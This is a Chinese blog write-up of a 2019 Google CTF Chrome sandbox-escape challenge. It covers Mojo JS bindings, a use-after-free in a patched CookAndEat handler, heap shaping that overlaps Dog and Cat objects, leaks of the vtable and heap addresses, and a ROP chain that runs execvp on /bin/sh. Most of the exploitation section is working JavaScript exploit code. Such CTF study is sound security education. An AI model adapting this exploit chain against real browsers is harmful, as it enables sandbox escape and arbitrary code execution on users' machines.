这是入门chrome沙箱逃逸的第二篇文章,第一篇文章分析了一道题目,这里再来看19年的google ctf的题目,进一步掌握沙箱逃逸的漏洞原理。
基础知识--JS Bindings Api
根据官方文章Mojo的描述我们可知mojo
的架构如下图所示,主要包含的功能包括:
之前看的mojo
的bindings api
都是使用的c++
来实现render
与browser
之间的通信。根据上面的描述可知,事实上我们也可以使用js bindings api
来实现通信,本小节主要是简单介绍如何使用js bindings api
来实现mojo
通信,参考的主要文章是Mojo JavaScript Bindings API。
首先定义.mojom
文件:
1 2 3 4 5 | module test.echo.mojom;
interface Echo {
EchoInteger(int32 value) = > (int32 result);
};
|
然后在BUILD.gn
中加入编译生成binding
的目标:
1 2 3 4 5 6 7 | import ( "//mojo/public/tools/bindings/mojom.gni" )
mojom( "interfaces" ) {
sources = [
"echo.mojom" ,
]
}
|
上面的bindings
会被编译生成以下内容(假设interface
的名字是foo
):
foo_js
:js bindings
,是编译时的依赖;
foo_js_data_deps
:js bindings
,是运行时的依赖。
编译的命令是:
1 | ninja - C out / r services / echo / public / interfaces:interfaces_js
|
会生成一些文件,其中和js bindings
相关的文件是:
1 | out / gen / services / echo / public / interfaces / echo.mojom.js
|
到此使用echo.mojom
的前奏已经完成了,为了在代码中使用该接口,还需要在代码中include
两个文件:mojo_bindings.js
以及echo.mojom.js
,如下所示:
1 2 3 4 5 6 7 8 9 10 | <!DOCTYPE html>
<script src = "URL/to/mojo_bindings.js" >< / script>
<script src = "URL/to/echo.mojom.js" >< / script>
<script>
var echoPtr = new test.echo.mojom.EchoPtr();
var echoRequest = mojo.makeRequest(echoPtr);
/ / ...
< / script>
|
最后就是bindings api
的实现,和c++ bindings api
一样,整个通信的实现需要包括:
mojo.InterfacePtrInfo
以及mojo.InterfaceRequest
来封装message pipe
的两端,前者代表使用的客户端,后者表示提供的服务端;
- 对于
mojom
接口Foo
,会生成一个FooPtr
类,它是InterfacePtreInfo
实例,用来提供 InterfacePtrInfo
类中的方法并发送接口;
mojo.Binding
拥有InterfaceRequest
,用来监听message pip
并且分发接收到的消息给用户定义的实现。
最终ehco.mojom
的实现如下,其中EchoImpl
是服务端用户定义的实现;echoServicePtr
是mojo.InterfacePtrInfo
的实例;echoServiceRequest
是mojo.InterfaceRequest
的实例,最终可以通过echoServicePtr
来发送对应的消息(ecchoInteger
),由EchoImpl
来响应消息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <!DOCTYPE html>
<script src = "URL/to/mojo_bindings.js" >< / script>
<script src = "URL/to/echo.mojom.js" >< / script>
<script>
function EchoImpl() {}
EchoImpl.prototype.echoInteger = function(value) {
return Promise.resolve({result: value});
};
var echoServicePtr = new test.echo.mojom.EchoPtr();
var echoServiceRequest = mojo.makeRequest(echoServicePtr);
var echoServiceBinding = new mojo.Binding(test.echo.mojom.Echo,
new EchoImpl(),
echoServiceRequest);
echoServicePtr.echoInteger({value: 123 }).then(function(response) {
console.log( 'The result is ' + response.value);
});
< / script>
|
描述
题目附件下载以后,目录如下所示。
1 2 | $ ls
Dockerfile build_docker.sh chrome_diff.diff flag interfaces note run_docker.sh src
|
interface
是mojo js
实现所需要的依赖,chrome_diff.diff
是出题人对于chrome
的patch
,src
中包含chrome
文件以及启动服务的service.py
。
service.py
中包含启动chrome
的命令,--enable-blink-features=MojoJS
表示开启了MojoJS
接口,可以通过js
来直接使用mojo
。
1 2 3 4 5 6 7 8 | args = [
'./binary/chrome' ,
'--enable-blink-features=MojoJS' ,
'--disable-gpu' ,
'--headless' ,
'--repl' ,
server
]
|
重点要分析的是chrome_diff.diff
。
分析
diff 分析
可以看到mojo
提供了一个BeingCreatorInterface
接口,主要功能是:
CreatePerson
函数返回blink.mojom.PersonInterface
接口;
CreateDog
函数返回blink.mojom.DogInterface
接口;
CreateCat
函数返回blink.mojom.CatInterface
接口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | diff - - git a / content / public / app / content_browser_manifest.cc b / content / public / app / content_browser_manifest.cc
index a1fa37e05edf..a1034e1b1a40 100644
- - - a / content / public / app / content_browser_manifest.cc
+ + + b / content / public / app / content_browser_manifest.cc
@@ - 197 , 6 + 197 , 7 @@ const service_manager::Manifest& GetContentBrowserManifest() {
.ExposeInterfaceFilterCapability_Deprecated(
"navigation:frame" , "renderer" ,
std:: set <const char * >{
+ "blink.mojom.BeingCreatorInterface" ,
"autofill.mojom.AutofillDriver" ,
...
+ import "url/mojom/origin.mojom" ;
+ import "third_party/blink/public/mojom/CTF/person_interface.mojom" ;
+ import "third_party/blink/public/mojom/CTF/dog_interface.mojom" ;
+ import "third_party/blink/public/mojom/CTF/cat_interface.mojom" ;
+
+ interface BeingCreatorInterface {
+ CreatePerson() = > (blink.mojom.PersonInterface? person);
+ CreateDog() = > (blink.mojom.DogInterface? dog);
+ CreateCat() = > (blink.mojom.CatInterface? cat);
+ };
|
三个接口的实现基本上都是一致,以PersonInterface
为例进行说明:
GetName
返回实例的name
;
SetName
设置实例的name
;
GetAge
返回实例的age
;
SetAge
设置实例的age
;
GetWeight
返回实例的weight
;
SetWeight
设置实例的weight
;
CookAndEat
:在下面单独进行说明。
1 2 3 4 5 6 7 8 9 | + interface PersonInterface {
+ GetName() = > (string name);
+ SetName(string new_name) = > ();
+ GetAge() = > (uint64 age);
+ SetAge(uint64 new_age) = > ();
+ GetWeight() = > (uint64 weight);
+ SetWeight(uint64 new_weight) = > ();
+ CookAndEat(blink.mojom.FoodInterface food) = > ();
+ };
|
每个对象中包含weight
、age
以及name
三个成员变量,分别对应至Set*
以及Get*
函数;需要关注的一点是各个成员变量的位置是不一样的,这一点在后续的利用过程中会使用的到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | + class CONTENT_EXPORT CatInterfaceImpl
+ : public blink::mojom::CatInterface {
+
+ std::string name;
+ uint64_t age;
+ uint64_t weight;
+ class CONTENT_EXPORT DogInterfaceImpl
+ : public blink::mojom::DogInterface {
+
+ uint64_t weight;
+ std::string name;
+ uint64_t age;
+ class CONTENT_EXPORT PersonInterfaceImpl
+ : public blink::mojom::PersonInterface {
+
+ uint64_t age;
+ uint64_t weight;
+ std::string name;
|
再来好好看看CookAndEat
函数,可以看到它会先获取FoodInterface
,然后调用FoodInterface->GetWeight
函数,并调用base::BindOnce
函数将PersonInterfaceImpl::AddWeight
函数作为回调函数传入到FoodInterface->GetWeight
函数当中。
1 2 3 4 5 6 7 8 | + void PersonInterfaceImpl::CookAndEat(blink::mojom::FoodInterfacePtr foodPtr,
+ CookAndEatCallback callback) {
+ blink::mojom::FoodInterface * raw_food = foodPtr.get();
+
+ raw_food - >GetWeight(base::BindOnce(&PersonInterfaceImpl::AddWeight,
+ base::Unretained(this),
+ std::move(callback), std::move(foodPtr)));
+ }
|
PersonInterfaceImpl::AddWeight
函数声明如下,可以看到调用该函数的时候传入的参数依次是base::Unretained(this)
、 std::move(callback)
以及std::move(foodPtr)
,再对照下面的参数列表,可以看到少了一个参数weight_
,按照调用约定,该参数会在FoodInterface->GetWeight
函数执行完成后,返回值作为参数weight_
,再调用AddWeight
函数。
1 2 3 | + void PersonInterfaceImpl::AddWeight(
+ PersonInterfaceImpl::CookAndEatCallback callback,
+ blink::mojom::FoodInterfacePtr foodPtr, uint64_t weight_)
|
看完了整个diff
文件,发现文件只定义了FoodInterface
的接口,并没有对应函数的实现,这是何意?
1 2 3 4 5 6 7 8 9 10 | + module blink.mojom;
+
+ import "url/mojom/origin.mojom" ;
+
+ interface FoodInterface {
+ GetDescription() = > (string description);
+ SetDescription(string new_description) = > ();
+ GetWeight() = > (uint64 weight);
+ SetWeight(uint64 new_weight) = > ();
+ };
|
这说明出题人没有实现该接口,需要我们在render
进程实现该接口,并由browser
进程调用FoodInterface
的GetWeight
函数。相当于render
进程给browser
进程提供服务,实现两个进程之间的通信。
到这里diff
文件中所实现的mojo
的功能大致就分析清楚了,主要是实现了dog
、cat
以及person
三个类,这三个类中每个类都有成员变量weight
、name
以及age
,并有设置及获取这三个成员变量的函数,这三个成员变量声明的顺序不一样;三个类中还有一个CookAndEat
函数,会将自己的AddWeight
函数作为回调函数,然后调用FoodInterface::GetWeight
函数,FoodInterface
在diff
中没有实现。
漏洞分析
上面的diff
文件分析了半天,漏洞究竟在哪里呢?
漏洞出现在CookAndEat
函数的实现中,还是以Person
对象为例来进行说明。
CookAndEat
函数如下所示,它会先获取FoodInterface
接口,然后调用该接口的GetWeight
函数。同时会将PersonInterfaceImpl::AddWeight
作为回调函数传入给GetWeight
函数,AddWeight
函数的参数base::Unretained(this)
、std::move(callback)
以及std::move(foodPtr)
,少了参数weight_
,该参数会在raw_food->GetWeight
函数执行完成后,返回值作为weight_
并最终调用AddWeight
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | + void PersonInterfaceImpl::AddWeight(
+ PersonInterfaceImpl::CookAndEatCallback callback,
+ blink::mojom::FoodInterfacePtr foodPtr, uint64_t weight_) {
+ weight + = weight_;
+ std::move(callback).Run();
+ }
...
+ void PersonInterfaceImpl::CookAndEat(blink::mojom::FoodInterfacePtr foodPtr,
+ CookAndEatCallback callback) {
+ blink::mojom::FoodInterface * raw_food = foodPtr.get();
+
+ raw_food - >GetWeight(base::BindOnce(&PersonInterfaceImpl::AddWeight,
+ base::Unretained(this),
+ std::move(callback), std::move(foodPtr)));
+ }
|
关键点在于raw_food->GetWeight
函数没有实现,可以由我们来实现FoodInterface
接口中进行实现。从将base::Unretained(this)
参数作为this
指针传递给AddWeight
函数,再到AddWeight
函数运行。从传递到最终的运行,这个过程之中还包含了raw_food->GetWeight
函数的运行,而且raw_food->GetWeight
函数我们可控,如果在raw_food->GetWeight
函数中,我们将base::Unretained(this)
所对应的Person
对象给释放掉,那么最终调用AddWeight
函数进行weight += weight_
的实现时就形成了uaf
漏洞。
经过上面的分析可以知道漏洞本质是uaf
漏洞,效果是将接口对象中的weight
字段所对应的位置加上给定的任意值。如果我们在raw_food->GetWeight
函数中将原来传入的对象(如Person
)给释放掉,同时申请另外一个类型的对象(如Dog
),因为Person
字段的weight
字段是Dog
对象的name
字段,最终会将Dog
的name
字段加上weight_
。从某种意义上来说,这也算是类型混淆漏洞。
漏洞利用
我们现在具备的能力是利用类型混淆漏洞将对象中某个对象的某个字段加上任意可控的值,如何操作才能实现利用呢?
首先要搞清楚三个类型对象的内存布局,name
是std::string
,该类的内存布局如下。
1 2 3 4 5 6 | struct __long
{
pointer __data_;
size_type __size_;
size_type __cap_;
};
|
给三个类型的对象接口第一个字段再加上虚表指针,三个对象接口的内存布局如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | class CONTENT_EXPORT CatInterfaceImpl:
pointer vtable;
pointer __data_;
size_type __size_;
size_type __cap_;
uint64_t age;
uint64_t weight;
class CONTENT_EXPORT DogInterfaceImpl:
pointer vtable;
uint64_t weight;
pointer __data_;
size_type __size_;
size_type __cap_;
uint64_t age;
class CONTENT_EXPORT PersonInterfaceImpl:
pointer vtable;
uint64_t age;
uint64_t weight;
pointer __data_;
size_type __size_;
size_type __cap_;
|
我们可以利用Dog
和Cat
类型混淆,过程是:先申请的是Dog
,调用CookAndEat
函数,在raw_food->GetWeight
中释放掉Dog
对象,申请Cat
对象占用该内存,最终在Dog
的weight+=weight_
的时候,实际会将Cat
对象的__data__+=weight_
。如果控制得当的话,可以使得__data__
字段和另一个Cat
指向同一片内存区域,这样就构造出了overlap
内存,后续利用就很好方便了。
利用的思路是上面这个,接下来一步一步说明利用的过程。
首先是FoodInterfaceImpl
的实现,由前面的基础知识可以知道可以使用js bindings api
来实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | function FoodInterfaceImpl() {}
FoodInterfaceImpl.prototype.getWeight = async function() {
if (!this.weight) {
return { 'weight' : 0x101 };
}
return { 'weight' : this.weight};
};
FoodInterfaceImpl.prototype.setWeight = async function(weight) {
this.weight = weight;
return ;
};
FoodInterfaceImpl.prototype.setDescription = async function(desc) {
this.desc = desc;
return ;
};
FoodInterfaceImpl.prototype.getDescription = async function() {
if (!this.description) {
return { 'description' : 'null' };
}
return { 'description' : this.description};
};
|
还要搞清楚的是对象类型的大小,可以断点断在CreatePerson
、CreateDog
以及CreateCat
上,最终可以确定接口内存的大小为0x40
。
首先是申请8
个Dog
,对应name
申请的大小也是0x40
:
1 2 3 4 5 6 7 8 9 10 11 | let dogCount = 8 ;
let catCount = 0x10 ;
/ / create 8 dogs with the same size of name
let dogPtrArr = [];
let catPtrArr = [];
for (let i = 0 ; i<dogCount; i + + ) {
let dogPtr = (await mojoPtr.createDog()).dog;
await dogPtr.setName( 'a' .repeat(stringSize))
dogPtrArr.push(dogPtr);
}
|
然后绑定FoodInterface
的实现,用于后续触发漏洞。
1 2 3 4 5 6 7 | / / get the FoodInterface in render process
var foodInterfacePtr = new blink.mojom.FoodInterfacePtr();
var foodInterfaceRequest = mojo.makeRequest(foodInterfacePtr);
var foodInterfaceBinding = new mojo.Binding(
blink.mojom.FoodInterface,
new FoodInterfaceImpl(),
foodInterfaceRequest);
|
接着调用对最后一个Dog
对象调用cookAndEat
函数。
1 2 | / / trigger uaf vuln
dogPtrArr[dogPtrArr.length - 1 ].cookAndEat(foodInterfacePtr)
|
来看关键的cookAndEat
函数的实现,如下所示。在最开始释放掉最后一个Dog
对象(利用ptr.reset()
函数),然后对所有的Dog
对象的name
字段分配更大的空间,以空余出0x40
大小的hole
来布置堆风水;申请多个Cat
对象来填充这些释放的内存,最后再为这些Cat
分配与对象大小相同的name
。
最终达到的效果是某个Cat
对象占用了我们释放的Dog
内存,同时它的name
指针加上0x40
刚好是另一个Cat
对象的name
指针。
因为漏洞触发Cat
对象(被释放的Dog
对象)的name
指针(Dog
字段的weight
字段)加上FoodInterfaceImpl.prototype.getWeight
返回的0x40
,指向了下一片内存,刚好是另一个Cat
对象name
字段,形成了重叠的内存块。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | / / the getWeight of FoodInterfaceImpl, which forms a uaf vuln.
FoodInterfaceImpl.prototype.getWeight = async function() {
/ / release the last dogPtr
dogPtrArr.pop().ptr.reset();
/ / change the dog's name size, which will leave the a lot of hole (size 0x40 )
for (let i = 0 ; i<dogPtrArr.length; i + + ) {
await dogPtrArr[i].setName( 'a' .repeat(stringSize * 100 ));
}
/ / create cat to fill the hole
for (let i = 0 ; i<catCount; i + + ) {
let catPtr = (await mojoPtr.createCat()).cat;
catPtrArr.push(catPtr);
}
/ / create cat name( 0x40 ) to fill the hole, there will be two Neighboring name
for (let i = 0 ; i<catCount; i + + ) {
await catPtrArr[i].setName(id2Str(i, stringSize));
}
/ / return 0x40 will change one cat 's name to the Neighboring cat' s name, which will form a overlap chunk.
return { 'weight' : 0x40 };
};
|
接着就遍历Cat
对象,去寻找被修改了name
字段的Cat
,并找出name
字段相同的另一个Cat
,经过下面的代码后,evil
与victim
的name
字段相同。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | / / find the evil cat and victim cat
let evilIdx = - 1 ;
let evil = undefined;
for (let i = 0 ; i<catCount; i + + ){
let name = (await catPtrArr[i].getName()).name;
if (name ! = id2Str(i, stringSize)){
evilIdx = i;
evil = catPtrArr[i];
break ;
}
}
if (evilIdx = = - 1 ) {
console.log( "[-] can't find overlap cat name" )
return ;
}
let name = (await evil.getName()).name;
let victimIdx = str2Id(name);
let victim = catPtrArr[victimIdx];
if (victimIdx< 0 || victimIdx> = catCount) {
console.log( "[-] can't find overlap cat name" )
return ;
}
console.log( "[+] evil cat idx: " + evilIdx);
console.log( "[+] victim cat idx: " + victimIdx);
console.log( "[+] evil cat name: " + name);
|
然后我们释放掉victim
的name
字段,此时evil
的name
指针就成了悬空指针,再紧接着申请另一个对象(Person
),这样就形成了uaf
漏洞,可以通过evil
的name
指针泄露虚表指针以及堆指针,从而后续劫持控制流。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | / / change the victim cat's name, now the evil cat name pointer will be freed
victim.setName( 'a' .repeat(stringSize * 200 ));
let ropBufferSize = 0x100 ;
/ / create a personPtr, now the evil cat's name pointer point to the personPtr structure
let triggerPersonPtr = (await mojoPtr.createPerson()).person;
await triggerPersonPtr.setName( 'A' .repeat(ropBufferSize));
/ / leak the data
let leakData = (await evil.getName()).name;
let personVtableAddr = getUint64(leakData, 0 );
let leakHeapAddr = getUint64(leakData, 0x18 );
let baseAddr = personVtableAddr - 0x8fc19c0n ;
let highAddr = baseAddr&BigInt( 0xf00000000000 )
let lowAddr = baseAddr&BigInt( 0x000000000fff )
if ((highAddr ! = BigInt( 0x500000000000 )) && lowAddr ! = 0 ) {
console.log( "[-] leak addr failed" )
return ;
}
console.log( "[+] chrome base addr: " + hex (baseAddr));
console.log( "[+] leak heap addr: " + hex (leakHeapAddr));
|
最后构造ROP
,伪造虚表指针,触发虚表函数。ROP
这里的构造可以提一句的是,可以利用execvp
函数来最终执行可执行程序,这样就不需要构造rsi
以及rdx
寄存器来,可以用命令objdump -d -j '.plt' ./src/binary/chrome | grep execvp
来查看偏移。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | / / build rop chain
let binshAddr = leakHeapAddr + 0x68n ;
let ropBuffer = new ArrayBuffer(ropBufferSize);
let ropData8 = new Uint8Array(ropBuffer).fill( 0x41 );
ropDataView = new DataView(ropBuffer);
/ / person getName's offset in vtable is 0x10 ;
ropDataView.setBigInt64( 0x10 ,xchgRaxRsp,true);
ropDataView.setBigInt64( 0x0 , popRsi, true);
ropDataView.setBigInt64( 0x8 , popRsi, true);
ropDataView.setBigInt64( 0x18 , popRdi, true);
ropDataView.setBigInt64( 0x20 , binshAddr, true);
ropDataView.setBigInt64( 0x28 , popRsi, true);
ropDataView.setBigInt64( 0x30 , 0n , true);
ropDataView.setBigInt64( 0x38 , 0n , true);
ropDataView.setBigInt64( 0x40 , popRdx, true);
ropDataView.setBigInt64( 0x48 , 0n , true);
ropDataView.setBigInt64( 0x50 , popRdx, true);
ropDataView.setBigInt64( 0x58 , 0n , true);
ropDataView.setBigInt64( 0x60 , execvp, true);
ropDataView.setBigInt64( 0x68 , 0x68732f6e69622fn ,true); / / / bin / sh
/ / ropDataView.setBigInt64( 0x68 , 0x6f6e672f6e69622fn ,true); / / / bin / gno
/ / ropDataView.setBigInt64( 0x70 , 0x75636c61632d656dn ,true); / / me - calcu
/ / ropDataView.setBigInt64( 0x78 , 0x726f74616cn ,true); / / lator\x00
let ropStr = arr2Str(ropData8);
/ / set fake vtable here
await triggerPersonPtr.setName(ropStr);
/ / change triggerPersonPtr's vtable to fake vtable address
evilData = setUint64(leakData, 0 , leakHeapAddr);
await evil.setName(evilData);
/ / trigger rop
console.log((await t ![](upload / tmp / 968207_4DBNNFFMG87TSBU .png)riggerPersonPtr.getName()).name);
|
成功弹出计算器。
要提一点的是在泄露虚表的时候,可能是因为mojo
的编码问题,直接读出来的地址不对,需要对数据进行编码,加上下面的代码就可以了,原因我现在还搞不懂,先放着。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | mojo.internal. Buffer .prototype.setUint64 = function(offset, value) {
value = BigInt(value);
let multipliter = 0x100000000n ;
var hi = Number(value / multipliter);
var low = Number(value % multipliter);
this.dataView.setInt32(offset, low, true);
this.dataView.setInt32(offset + 4 , hi, true);
return ;
};
mojo.internal.encodeUtf8String = function( str , outputBuffer) {
const utf8Buffer = str .split(''). map (char = > char.charCodeAt( 0 ));
if (outputBuffer.length < utf8Buffer.length)
throw new Error( "Buffer too small for encodeUtf8String" );
outputBuffer. set (utf8Buffer);
return utf8Buffer.length;
}
mojo.internal.decodeUtf8String = function( buffer ) {
return Array. from (new Uint8Array( buffer . buffer , buffer .byteOffset,
buffer .byteLength)).
map (code = > String.fromCharCode(code)).join('');
}
|
总结
通过解决这题,理解了在render
端实现mojo
功能(如何使用js bindings api
),同时进一步理解了mojo
相关的uaf
漏洞的原理。
本文首发于奇安信攻防社区。
参考
看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~